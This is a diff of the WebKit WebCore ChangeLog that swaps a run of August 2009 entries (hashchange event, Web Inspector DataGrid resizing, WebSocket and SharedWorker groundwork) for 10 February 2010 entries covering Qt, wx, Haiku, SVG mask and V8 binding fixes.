-        * bindings/v8/V8Index.h:
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::insertedIntoParent):
+        * css/CSSStyleSheet.h:
+        (WebCore::CSSStyleSheet::create):
+        (WebCore::CSSStyleSheet::createInline):
+        * css/StyleBase.cpp:
+        (WebCore::StyleBase::baseURL):
+        * css/StyleSheet.cpp:
+        (WebCore::StyleSheet::StyleSheet):
+        * css/StyleSheet.h:
+        (WebCore::StyleSheet::href):
+        (WebCore::StyleSheet::setFinalURL):
+        (WebCore::StyleSheet::finalURL):
+        * dom/Document.cpp:
+        (WebCore::Document::updateBaseURL):
+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::checkStyleSheet):
+        * xml/XSLImportRule.cpp:
+        (WebCore::XSLImportRule::loadSheet):
+        * xml/XSLStyleSheet.h:
+        (WebCore::XSLStyleSheet::create):
+        (WebCore::XSLStyleSheet::createInline):
+        * xml/XSLStyleSheetLibxslt.cpp:
+        (WebCore::XSLStyleSheet::XSLStyleSheet):
+        (WebCore::XSLStyleSheet::parseString):
+        (WebCore::XSLStyleSheet::loadChildSheets):
+        * xml/XSLStyleSheetQt.cpp:
+        (WebCore::XSLStyleSheet::XSLStyleSheet):
 
-2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
+2010-02-10  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        Reviewed by Darin Adler and George Staikos.
+        Reviewed by Ariya Hidayat.
 
-        Add rectToRect convenience function which returns the TransformationMatrix
-        which maps the 'from' rectangle to the 'to' rectangle.
+        [Qt] GraphicsLayer: somtimes the item flickers at the end of an animation
+        This is because we try to delete the animation when finished: that is
+        unnecessary. WebCore manages the animation's lifecycle and makes sure
+        to call the right function when the animation can be deleted.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28067
+        https://bugs.webkit.org/show_bug.cgi?id=34761
 
-        No tests as this would require binding the method to js and since it is static
-        that doesn't seem possible.  Please check the math.
+        No new tests.
 
-        * platform/graphics/transforms/TransformationMatrix.cpp:
-        (WebCore::TransformationMatrix::rectToRect):
-        * platform/graphics/transforms/TransformationMatrix.h:
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQt::addAnimation): No need to delete here
+        (WebCore::GraphicsLayerQt::removeAnimationsForProperty): deleteLater
 
-2009-08-07  Brady Eidson  <beidson@apple.com>
+2010-02-10  Kevin Ollivier  <kevino@theolliviers.com>
 
-        Reviewed by Darin Adler.
+        [wx] Build fix for wxMac/Cocoa.
 
-        Implement the HTML5 hashchange event.
-        https://bugs.webkit.org/show_bug.cgi?id=21605
+        * platform/wx/wxcode/mac/carbon/fontprops.cpp: Removed.
+        * platform/wx/wxcode/mac/carbon/fontprops.mm: Copied from WebCore/platform/wx/wxcode/mac/carbon/fontprops.cpp.
+        * wscript:
 
-        Test: fast/loader/hashchange-event.html
+2010-02-10  Jon Honeycutt  <jhoneycutt@apple.com>
 
-        * dom/EventNames.h: Add "hashchange"
-        * html/HTMLAttributeNames.in: Add "onhashchange"
+        REGRESSION(24929): PDF page doesn't load in background tab
 
-        * loader/FrameLoader.cpp:
-        (WebCore::HashChangeEventTask::create):
-        (WebCore::HashChangeEventTask::performTask):
-        (WebCore::HashChangeEventTask::HashChangeEventTask):
-        (WebCore::FrameLoader::scrollToAnchor): When an anchor navigation is completed and the
-          new fragment identifier is different from the old one, queue a hash change event
-          on the Document.
-
-        Add a window event listener for the hashchange event if onhashchange is encountered:
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::parseMappedAttribute): 
-        * html/HTMLFrameSetElement.cpp:
-        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+        Reviewed by Dan Bernstein.
 
-        Add a new string utility method that gives "null and empty are equivalent" behavior:
-        * platform/text/PlatformString.h:
-        (WebCore::equalIgnoringNullity):
-        * platform/text/StringImpl.cpp:
-        (WebCore::equalIgnoringNullity):
-        * platform/text/StringImpl.h:
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::startOrAddToUnstartedList):
+        Only delay loading of the plug-in if we'll kick off our own load of the
+        plug-in data later, in start().
 
-2009-08-07  Jessie Berlin  <jberlin@apple.com>
+2010-02-10  Enrica Casucci  <enrica@apple.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Simon Fraser.
 
-        Add the initial implementation of the ability to resize the columns in
-        a DataGrid in the Web Inspector. Enables that functionality in both the
-        Profile View and in the Local Storage View.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26182
+        Crash in WebKit!WebCore::RenderTextControlSingleLine::createInnerTextStyle doing anything in Safari after sitting on a page with 3D site        
+        <rdar://problem/7557201>
+        https://bugs.webkit.org/show_bug.cgi?id=34823
         
-        In this version, resizing a column can change the width of at most two
-        columns (the columns to the left and right of the resizer being dragged).
+        No tests added because the code is exercised by the existing tests.
         
-        Possible changes in future patches:
+        The root cause was the fact that we were not releasing a reference that was held by CA.
+        In debug builds we had an assert in the destructor of WKCACFLayer.
         
-        1) Be able to specify the minimum size of a column and the maximum size
-           of a column. If the minimum size is equal to the maximum size, the
-           column can't be resized.
-        2) Make the behavior more in line with the following description:
-        
-        Everything before the column that is resized stays fixed size. The
-        resized column changes sizes. The other columns except the last stay
-        the same size. And the last column adjusts to fit with a minimum size.
-        If the last column is already the minimum, the next to last column
-        shrinks, etc.
-        
-        3) Make it possible to scale the column sizes appropriately when the
-           Web Inspector window gets resized.
-        
-        * inspector/front-end/DOMStorageItemsView.js:
-        (WebInspector.DOMStorageItemsView.prototype.update):
-        Once the DataGrid is added to the DOM, update the widths of the
-        DataGrid in order to put the resizers in place.
-        (WebInspector.DOMStorageItemsView.prototype.resize):
-        Update the widths of the DataGrid in order to correctly adjust the
-        positions of the resizers.
-        
-        * inspector/front-end/DataGrid.js:
-        (WebInspector.DataGrid):
-        Store column groups whose widths can later be changed when the columns
-        are resized by the user.
-        Also, keep track of whether the widths of the columns have been
-        initialized.
-        (WebInspector.DataGrid.prototype.updateWidths):
-        Create the resizers for the columns.
-        (WebInspector.DataGrid.prototype._clickInDataTable):
-        Didn't actually change anything in this method, just added a comma to
-        the end of the function.
-        (WebInspector.DataGrid.prototype._startResizerDragging):
-        Store the resizer that is currently dragging.
-        (WebInspector.DataGrid.prototype._resizerDragging):
-        Constrain the area that the resizer can be dragged to the column to
-        it's left and right, with some padding added to make sure that the
-        neighboring columns don't disappear.
-        (WebInspector.DataGrid.prototype._endResizerDragging):
-        
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.resize):
-        Resize the view.
-        (WebInspector.DatabasesPanel.prototype._updateSidebarWidth):
-        ditto.
-        
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView.prototype.show):
-        Now that the DataGrid is actually attached to the DOM, update the
-        widths of the DataGrid in order to put the resizers in place.
-        (WebInspector.ProfileView.prototype.resize):
-        Update the widths of the DataGrid in order to correctly adjust the
-        positions of the resizers.
-        
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype.resize):
-        Resize the view.
-        (WebInspector.ProfilesPanel.prototype._updateSidebarWidth):
-        ditto.
-        
-        * inspector/front-end/inspector.css:
-        Add in a style rule for a resizer in the Data Grid.
-
-2009-08-07  Simon Hausmann  <simon.hausmann@nokia.com>
+        * platform/graphics/win/GraphicsLayerCACF.cpp:
+        (WebCore::GraphicsLayerCACF::~GraphicsLayerCACF):
 
-        Reviewed by Tor Arne Vestbø.
+2010-02-10  Kwang Yul Seo  <skyul@company100.net>
 
-        Back out r46847 and fix the Qt build system to always generate
-        all the JS binding files from IDL files. The generated files
-        have #if feature guards, so the #ifs are not needed in the
-        files using them.
+        Reviewed by Eric Seidel.
 
-        * WebCore.pro:
-        * bindings/js/JSEventTarget.cpp:
-        * bindings/js/JSWorkerContextBase.cpp:
-        * bindings/js/WorkerScriptController.cpp:
+        [BREWMP] Typedef DragImageRef
+        https://bugs.webkit.org/show_bug.cgi?id=34791
 
-2009-08-07  Shinichiro Hamaji  <hamaji@chromium.org>
+        Use IImage* as it is the BREW's image type.
 
-        Reviewed by Adele Peterson.
+        * platform/DragImage.h:
 
-        Cannot scroll for box-reflect:right
-        https://bugs.webkit.org/show_bug.cgi?id=27979
+2010-02-10  Beth Dakin  <bdakin@apple.com>
 
-        Update m_overflowLeft an m_overflowWidth for reflection just like
-        m_overflowTop and m_overflowHeight.
+        Reviewed by Simon Fraser and Darin Adler.
 
-        Test: fast/reflections/reflection-overflow-scroll.html
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=34185 REGRESSION: 
+        Mask not invalidating
 
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::layoutBlock):
+        SVGMaskElement is the only class that keeps a HashMap of canvas 
+        resources rather than just a pointer to a resource. This 
+        patch makes SVGMaskElement invalidate all of its resources in the 
+        HashMap instead of just one.
 
-2009-08-06  Shinichiro Hamaji  <hamaji@chromium.org>
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::svgAttributeChanged):
+        (WebCore::SVGMaskElement::childrenChanged):
+        (WebCore::SVGMaskElement::invalidateCanvasResources):
+        * svg/SVGMaskElement.h:
+        * svg/SVGStyledElement.cpp:
+        (WebCore::SVGStyledElement::invalidateResourcesInAncestorChain):
+        (WebCore::SVGStyledElement::invalidateCanvasResources):
+        * svg/SVGStyledElement.h:
 
-        Reviewed by Adam Barth.
+2010-02-10  Stephan Aßmus  <superstippi@gmx.de>
 
-        box-shadow's spread is ignored with <table>
-        https://bugs.webkit.org/show_bug.cgi?id=28017
+        Reviewed by David Levin.
 
-        Use RenderStyle::getBoxShadowExtent just like RenderBlock.
+        Fixes to rect conversion and image rendering on Haiku
+        https://bugs.webkit.org/show_bug.cgi?id=34684
 
-        Test: fast/box-shadow/box-shadow-overflow-scroll.html
+        Covered by existing tests.
 
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::layout):
+        The changes to the rect conversions are indeed correct. In Haiku (to stay
+        compatibly with BeOS), a BRect specifies the left/top and bottom/right pixel
+        *indices*, even though the values are floating point. So a rectangle covering
+        just one pixel would be specified as BRect(0, 0, 0, 0). In WebCore and other
+        frame works, such rectangles would be expressed as 0, 0, 1, 1. In WebCore, the
+        width and height of rectangles refer to the distance between pixels, while on
+        Haiku, a one pixel rect has indeed a width and height of 0, as confusing as
+        that may be.
 
-2009-08-06  Joseph Pecoraro  <joepeck02@gmail.com>
+        The part of the patch that affects
+        WebCore/platform/graphics/haiku/ImageHaiku.cpp also implements the drawing
+        methods more correctly. Image observers are notified, and pattern drawing takes
+        the "phase" into account which makes scrolled backgrounds render correctly.
+        Transformations are still not supported, since the Haiku drawing backend itself
+        does not yet support them.
 
-        Reviewed by Timothy Hatcher.
+        Use OwnPtr when creating the BBitmap to avoid future leaks with early returns.
 
-        Inspector: NodeLists Don't Display Well in the Console
-        https://bugs.webkit.org/show_bug.cgi?id=28061
+        Convert the bitmap data to non pre-multiplied until Haiku supports drawing
+        pre-multiplied bitmaps.
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._format): Specific check if the object is a NodeList, display as an "array"
+        * platform/graphics/haiku/FloatRectHaiku.cpp: Fixed conversion
+        * platform/graphics/haiku/ImageHaiku.cpp:
+        (WebCore::BitmapImage::draw): Fixed placement, notify observers
+        (WebCore::Image::drawPattern): Implemented using "phase" to fix scrolling, notify observers
+        * platform/graphics/haiku/IntRectHaiku.cpp: Fixed conversion
+        * platform/image-decoders/haiku/ImageDecoderHaiku.cpp: Fixed conversion
 
-2009-08-06  Yusuke Sato  <yusukes@chromium.org>
+2010-02-10  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by David Levin.
 
-        Chromium Linux: add support for @font-face
-        https://bugs.webkit.org/show_bug.cgi?id=28015
-        
-        * loader/CachedFont.cpp:
-        (WebCore::CachedFont::~CachedFont):
-        (WebCore::CachedFont::ensureCustomFontData):
-        (WebCore::CachedFont::platformDataFromCustomData):
-        (WebCore::CachedFont::allClientsRemoved):
+        Clean up unused member var and initialization in Document
+        https://bugs.webkit.org/show_bug.cgi?id=34820
 
-        Modified #ifdefs so that chromium linux can load remote fonts.
+        Remove unused m_secureForms member variable in Document.
         
-        * platform/graphics/chromium/FontCustomPlatformData.cpp:
-        (WebCore::FontCustomPlatformData::~FontCustomPlatformData):
-        (WebCore::FontCustomPlatformData::fontPlatformData):
-        (WebCore::createFontCustomPlatformData):
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        * dom/Document.h:
 
-        Create SkTypeface for a web font by calling SkTypeface::CreateFromStream function.
-        
-        (WebCore::RemoteFontStream::RemoteFontStream):
-        (WebCore::RemoteFontStream::~RemoteFontStream):
-        (WebCore::RemoteFontStream::rewind):
-        (WebCore::RemoteFontStream::read):
+2010-02-10  Kevin Watters  <kevinwatters@gmail.com>
 
-        New class that implements SkStream interface and wraps wtf's SharedBuffer.
-        
-        * platform/graphics/chromium/FontCustomPlatformData.h:
-        (WebCore::FontCustomPlatformData::FontCustomPlatformData):
+        Reviewed by Kevin Ollivier.
 
-        Added member variables for Linux.
+        [wx] Add Windows complex text support and Mac support for containsCharacters.
         
-2009-08-06  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        Fix JPEGImageDecoder.cpp compile error on WinCE
-        https://bugs.webkit.org/show_bug.cgi?id=28051
-
-        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-
-2009-08-06  Kevin Ollivier  <kevino@theolliviers.com>
-
-        Reviewed by Eric Seidel.
-
-        Adding WebCore support for the waf build system for wx.
+        https://bugs.webkit.org/show_bug.cgi?id=34759
         
-        https://bugs.webkit.org/show_bug.cgi?id=27619
-
-        * wscript: Added.
-
-2009-08-06  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed revert.
-
-        http://bugs.webkit.org/show_bug.cgi?id=27879
-
-        Revert 46877 because it broke GTK.
-
-        * platform/graphics/wince/GraphicsContextWince.cpp:
-
-2009-08-06  Chris Fleizach  <cfleizach@apple.com>
+        * platform/graphics/SimpleFontData.h:
+        * platform/graphics/wx/FontPlatformData.h:
+        (WebCore::FontPlatformData::roundsGlyphAdvances):
+        * platform/graphics/wx/FontPlatformDataWx.cpp:
+        (WebCore::FontPlatformData::useGDI):
+        (WebCore::FontPlatformData::hfont):
+        * platform/graphics/wx/FontWx.cpp:
+        (WebCore::Font::canReturnFallbackFontsForComplexText):
+        (WebCore::Font::selectionRectForComplexText):
+        (WebCore::Font::drawComplexText):
+        (WebCore::Font::floatWidthForComplexText):
+        (WebCore::Font::offsetForPositionForComplexText):
+        * platform/graphics/wx/SimpleFontDataWx.cpp:
+        (WebCore::SimpleFontData::platformInit):
+        (WebCore::SimpleFontData::platformDestroy):
+        (WebCore::SimpleFontData::containsCharacters):
+        (WebCore::SimpleFontData::platformWidthForGlyph):
+        (WebCore::SimpleFontData::scriptFontProperties):
+        (WebCore::SimpleFontData::initGDIFont):
+        (WebCore::SimpleFontData::platformCommonDestroy):
+        (WebCore::SimpleFontData::widthForGDIGlyph):
+        * platform/wx/wxcode/fontprops.h:
+        * platform/wx/wxcode/gtk/fontprops.cpp:
+        (wxFontContainsCharacters):
+        * platform/wx/wxcode/mac/carbon/fontprops.cpp:
+        (wxFontContainsCharacters):
+        * platform/wx/wxcode/win/fontprops.cpp:
+        (wxFontContainsCharacters):
+        * platform/wx/wxcode/win/non-kerned-drawing.cpp:
+        (WebCore::drawTextWithSpacing):
+        * wscript:
 
+2010-02-10  Kwang Yul Seo  <skyul@company100.net>
         Reviewed by Eric Seidel.
 
-        Bug 27956 - AX: roleValue should be cached for performance
-        https://bugs.webkit.org/show_bug.cgi?id=27956
-
-        Caches the role value of an accessibility object instead of calculating it everytime.
-        The changes gained a 5% speedup using VoiceOver to navigate a webpage.
-
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::handleAriaRoleChanged):
-
-        Use generic role setter instead of specific ARIA role setter.
-
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::AccessibilityObject):
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::headingLevel):
-
-        Make headingLevel into instance method so that it can *safely* be called in the constructor.
-
-        (WebCore::AccessibilityObject::setRoleValue):
-        (WebCore::AccessibilityObject::roleValue):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::AccessibilityRenderObject):
-        (WebCore::AccessibilityRenderObject::headingLevel):
-        (WebCore::AccessibilityRenderObject::intValue):
-        (WebCore::AccessibilityRenderObject::updateAccessibilityRole):
-        (WebCore::AccessibilityRenderObject::determineAccessibilityRole):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (AXAttributeStringSetHeadingLevel):
-
-2009-08-06  Zoltan Horvath  <hzoltan@inf.u-szeged.hu>
-
-        Reviewed by Adam Barth.
-
-        Change Noncopyable inheriting to public
-        http://bugs.webkit.org/show_bug.cgi?id=27879
-
-        Since Noncopyable is inherited from FastAllocBase, Noncopyable's
-        inheriting has been changed to public.
-
-        * platform/graphics/wince/GraphicsContextWince.cpp:
-
-2009-08-06  Mark Rowe  <mrowe@apple.com>
+        [BREWMP] Add dummy Frame::dragImageForSelection
+        https://bugs.webkit.org/show_bug.cgi?id=34792
 
-        Rubber-stamped by Sam Weinig.
-
-        Add explicit dependencies for our build verification scripts to ensure that they always run after linking has completed.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-08-05  Simon Fraser  <simon.fraser@apple.com>
+        Add FrameBrew.cpp which contains a dummy implementation of
+        Frame::dragImageForSelection.
 
-        Reviewed by Darin Adler.
+        * page/brew/FrameBrew.cpp: Added.
+        (WebCore::Frame::dragImageForSelection):
 
-        Implement the matchMedium method on the Media interface described in the CSSOM View Module.
-        https://bugs.webkit.org/show_bug.cgi?id=22495
-        
-        Add a new Media interface, obtainable via the AbstractView, that can
-        evaluate queries via its matchesMedium() method.
+2010-02-10  Kevin Ollivier  <kevino@theolliviers.com>
 
-        Test: fast/media/matchmedium-query-api.html
+        [wx] Build fix. Switch drawPattern to Image class like other platforms.
 
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        Add Media.* files to the build.
-
-        * css/Media.cpp: Added.
-        (WebCore::Media::Media):
-        (WebCore::Media::type):
-        (WebCore::Media::matchMedium):
-        * css/Media.h: Added.
-        (WebCore::Media::create):
-        (WebCore::Media::document):
-        * css/Media.idl: Added.
-        Media::matchMedium() uses a MediaQueryEvaluator() to test the query.
-
-        * page/AbstractView.idl:
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::media):
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
-        Add a readonly attribute for Media.
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::Image::drawPattern):
 
-2009-08-06  Michelangelo De Simone  <micdesim@gmail.com>
+2010-02-10  Chris Marrin  <cmarrin@apple.com>
 
         Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27455
-        Support for a custom validation message in ValidityState and related
-        form controls.
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#dom-cva-setcustomvalidity
-
-        Tests: fast/forms/ValidityState-customError-001.html
-               fast/forms/ValidityState-customError-002.html
-               fast/forms/ValidityState-customError-003.html
-               fast/forms/ValidityState-customError-004.html
-
-        * html/HTMLButtonElement.idl: setCustomValidity DOM method
-        * html/HTMLFieldSetElement.idl: ditto
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::setCustomValidity): ditto
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLFormControlElement::valueMissing): moved down
-        * html/HTMLInputElement.idl: ditto
-        * html/HTMLSelectElement.idl: ditto
-        * html/HTMLTextAreaElement.idl:
-        * html/ValidityState.h:
-        (WebCore::ValidityState::setCustomErrorMessage): method to set custom
-        validation message
-        (WebCore::ValidityState::customError): validation flag
-
-2009-08-06  Mark Rowe  <mrowe@apple.com>
-
-        Bring a little order to our otherwise out of control lives.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-08-06  Mark Rowe  <mrowe@apple.com>
-
-        Stop copying .idl files in to the framework resources directory.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-08-06  Mark Rowe  <mrowe@apple.com>
-
-        Fix the build some more.
-
-        Add JSWebSocket.cpp and JSWebSocket.h to the Xcode project, and move the WebSocket-related
-        files and groups in to the appropriate locations.
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-08-06  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Add WebSocket.idl
-        https://bugs.webkit.org/show_bug.cgi?id=27209
-
-        Add WebSocket.idl in WebCore/websockets/.
-        Add build systems only for GNUmakefile.am and WebCore.xcodeproj now.
-        Other build systems will be updated once the code is functional.
-
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSWebSocketConstructor.cpp: Added.
-        * bindings/js/JSWebSocketConstructor.h: Added.
-        * bindings/js/JSWebSocketCustom.cpp: Added.
-        * websockets/WebSocket.cpp: Added.
-        * websockets/WebSocket.h: Added.
-        * websockets/WebSocket.idl: Added.
-
-2009-08-06  Jian Li  <jianli@chromium.org>
+        Added CA_PRINT_TREE functionality to WKCACFLayer implementation
+        https://bugs.webkit.org/show_bug.cgi?id=34779
+        
+        I've tried to duplicate the look of the output on Mac, but
+        it's not quite the same. It shows all the useful information though.
+        It is enabled by setting the environment variable CA_PRINT_TREE=1
+        
+        * platform/graphics/win/WKCACFLayer.cpp:Implementation of printTree
+        (WebCore::WKCACFLayer::isTransformLayer):
+            Moved function to cpp file because it needs to use the function form
+            of kCACFTransformLayer because the DLL is delay loaded, and that function
+            can only be called from the cpp file.
+        (WebCore::WKCACFLayer::sublayerAtIndex):
+        (WebCore::printIndent):
+        (WebCore::printTransform):
+        (WebCore::WKCACFLayer::printTree):Prints from this layer down
+        (WebCore::WKCACFLayer::printLayer):Prints this layer and recursively calls sublayers
+        * platform/graphics/win/WKCACFLayer.h:
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::WKCACFLayerRenderer):
+        (WebCore::WKCACFLayerRenderer::createRenderer):Adds a name to the root layers
+        (WebCore::WKCACFLayerRenderer::render):Calls printTree when CA_PRINT_TREE is 1
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+        
+2010-02-10  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Adam Barth.
 
-        [V8] Style cleaning for WorkerContextExecutionProxy.
-        https://bugs.webkit.org/show_bug.cgi?id=27997
+        Change V8DOMWrapper::lookupDOMWrapper() and configureTemplate()
+        to not use V8ClassIndex.
 
-        Cleanup WorkerContextExecutioonProxy related files to follow
-        WebKit coding styles after all V8 binding codes are upstreamed.
-        1) Lower-case the first letter of remaining functins in class
-           WorkerContextExecutionProxy. Update the V8 code generator
-           and all other references accordingly.
-        2) Integrate getConstructor from WorkerContextExecutionProxy
-           to V8DOMWrapper.
-        3) Other misc changes, like removing trailing whitespaces and
-           sorting the include files.
+        https://bugs.webkit.org/show_bug.cgi?id=34768
 
         * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::execute):
+        * bindings/v8/V8Binding.cpp:
+        * bindings/v8/V8Binding.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
         * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getConstructorForContext):
-        (WebCore::V8DOMWrapper::convertToV8Object):
         * bindings/v8/V8DOMWrapper.h:
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::~V8WorkerContextEventListener):
-        (WebCore::V8WorkerContextEventListener::handleEvent):
-        (WebCore::V8WorkerContextEventListener::reportError):
-        (WebCore::V8WorkerContextEventListener::getReceiverObject):
-        * bindings/v8/V8WorkerContextObjectEventListener.cpp:
-        (WebCore::weakObjectEventListenerCallback):
+        * bindings/v8/V8Proxy.cpp:
         * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::handleConsoleMessage):
-        (WebCore::WorkerContextExecutionProxy::dispose):
-        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
-        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
-        (WebCore::WorkerContextExecutionProxy::convertEventToV8Object):
-        (WebCore::WorkerContextExecutionProxy::convertEventTargetToV8Object):
-        (WebCore::WorkerContextExecutionProxy::convertWorkerContextToV8Object):
-        (WebCore::WorkerContextExecutionProxy::toV8):
-        (WebCore::WorkerContextExecutionProxy::forgetV8EventObject):
-        (WebCore::WorkerContextExecutionProxy::removeEventListener):
-        * bindings/v8/WorkerContextExecutionProxy.h:
-        (WebCore::WorkerContextExecutionProxy::context):
-        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-08-06  Darin Adler  <darin@apple.com>
-
-        Fix Mac Leopard debug build.
-
-        * platform/text/StringImpl.cpp:
-        (WebCore::equalIgnoringCase): Removed meaningless assertion; an unsigned
-        is always >= 0 and checking causes a warning in the newer versions of gcc.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
 
-2009-08-06  Adam Barth  <abarth@webkit.org>
+2010-02-10  Nate Chapin  <japhet@chromium.org>
 
-        Unreview rollout.
+        Reviewed by Dimitri Glazkov.
 
-        Revert 46840 because it broke the reliability tests.
+        [V8] Handle the possibility that ScheduledAction::execute() may
+        retrieve a null V8Proxy* even if not in a WorkerContext (e.g., if
+        JS was disallowed).
 
         * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
         (WebCore::ScheduledAction::execute):
-        * bindings/v8/ScheduledAction.h:
-        (WebCore::ScheduledAction::ScheduledAction):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
-
-2009-08-06  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed rollout.
-
-        Revert 46840 in preparation to revert 46838, which broke the reliability tests.
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::updateDocumentWrapperCache):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::mainWorldContext):
-        * bindings/v8/V8Proxy.h:
-        (WebCore::V8Proxy::context):
-
-2009-08-06  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: move style-related utilities into InjectedScript.
-
-        http://bugs.webkit.org/show_bug.cgi?id=27939
-
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.CSSStyleDeclaration):
-        (WebInspector.CSSStyleDeclaration.prototype.isPropertyImplicit):
-        (WebInspector.CSSStyleDeclaration.prototype.styleTextWithShorthands):
-        (WebInspector.CSSStyleDeclaration.prototype.getLonghandProperties):
-        (WebInspector.CSSStyleDeclaration.prototype.getShorthandPriority):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.applyStyleText):
-        (InjectedScript.toggleStyleEnabled):
-        (InjectedScript._serializeStyle):
-        (InjectedScript._getUniqueStyleProperties):
-        (InjectedScript._getLonghandProperties):
-        (InjectedScript._getShorthandPriority):
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype._update):
-        (WebInspector.StylePropertiesSection.prototype.isPropertyOverloaded):
-        (WebInspector.StylePropertiesSection.prototype.onpopulate):
-        (WebInspector.StylePropertyTreeElement.prototype.get priority):
-        (WebInspector.StylePropertyTreeElement.prototype.get value):
-        (WebInspector.StylePropertyTreeElement.prototype):
-        * inspector/front-end/utilities.js:
-
-2009-08-06  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Unreviewed build fix, add #ifdef guards around
-        inclusions of shared worker specific files.
-
-        * bindings/js/JSEventTarget.cpp:
-        * bindings/js/JSWorkerContextBase.cpp:
-        * bindings/js/WorkerScriptController.cpp:
-
-2009-08-06  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Darin Adler.
-
-        cssgrammar.cpp fails to compile with RVCT compiler
-        https://bugs.webkit.org/show_bug.cgi?id=27952
-
-        * css/CSSGrammar.y: Do not convert to String to get rid of the stray
-        memory allocation 
-
-        * platform/text/StringImpl.cpp:
-        (WebCore::equalIgnoringCase):
-        * platform/text/StringImpl.h: 
-        (WebCore::equalIgnoringCase): Add charactersEqualIgnoringCase
-          function that works with a character pointer and length
-
-2009-08-06  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Created first working implementation of SharedWorkers (execution only, no sharing).
-        https://bugs.webkit.org/show_bug.cgi?id=27927
-
-        Added initial implementations of SharedWorkerThread and SharedWorkerContext.
-        No v8 bindings yet.
-
-        * DerivedSources.cpp:
-        Added shared worker files.
-        * DerivedSources.make:
-        Added shared worker files.
-        * GNUmakefile.am:
-        Added shared worker files.
